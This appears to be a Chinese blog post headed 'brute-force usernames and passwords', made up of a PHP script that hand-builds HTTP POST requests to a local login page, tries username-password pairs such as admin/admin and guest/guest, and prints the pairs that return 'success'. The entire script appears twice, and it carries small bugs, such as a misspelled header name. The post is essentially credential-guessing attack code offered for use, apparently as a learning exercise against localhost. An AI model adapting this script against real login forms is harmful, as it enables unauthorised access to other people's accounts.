暴力破解用户名密码
<?php
header('Content-tyep:text/html;charset=utf8');
$username=array('ad','admin','guest');
$password=array('ad','admin','guest');
$hit=array();
for($i=0;$i<count($username);$i++)
{
$content="username=$username[$i]&password=$password[$i]";
$content_length=strlen($content);
$http_request='';
$http_response='';
$http_request.="POST /tp/Snoopy/login.php HTTP/1.1\r\n";
$http_request.="Host: localhost\r\n";
$http_request.="Content-Type:application/x-www-form-urlencoded\r\n";
$http_request.="Content-length:$content_length\r\n";
$http_request.="Connection:close\r\n";
$http_request.="\r\n";
$http_request.=$content;
if($handle=fsockopen('localhost',80)){
fputs($handle, $http_request);
while (!feof($handle)){
$http_response.=fgets($handle,1024);
}
fclose($handle);
}else{
echo "connection error";
}
if(strpos( $http_response,'success')){
$hit[]=array('username'=>$username[$i],'password'=>$password[$i]);
}
}
echo "检测到的用户名-密码<br/>";
foreach ($hit as $item){
echo $item['username']." ".$item['password']."<br/>";
}
header('Content-tyep:text/html;charset=utf8');
$username=array('ad','admin','guest');
$password=array('ad','admin','guest');
$hit=array();
for($i=0;$i<count($username);$i++)
{
$content="username=$username[$i]&password=$password[$i]";
$content_length=strlen($content);
$http_request='';
$http_response='';
$http_request.="POST /tp/Snoopy/login.php HTTP/1.1\r\n";
$http_request.="Host: localhost\r\n";
$http_request.="Content-Type:application/x-www-form-urlencoded\r\n";
$http_request.="Content-length:$content_length\r\n";
$http_request.="Connection:close\r\n";
$http_request.="\r\n";
$http_request.=$content;
if($handle=fsockopen('localhost',80)){
fputs($handle, $http_request);
while (!feof($handle)){
$http_response.=fgets($handle,1024);
}
fclose($handle);
}else{
echo "connection error";
}
if(strpos( $http_response,'success')){
$hit[]=array('username'=>$username[$i],'password'=>$password[$i]);
}
}
echo "检测到的用户名-密码<br/>";
foreach ($hit as $item){
echo $item['username']." ".$item['password']."<br/>";
}

浙公网安备 33010602011771号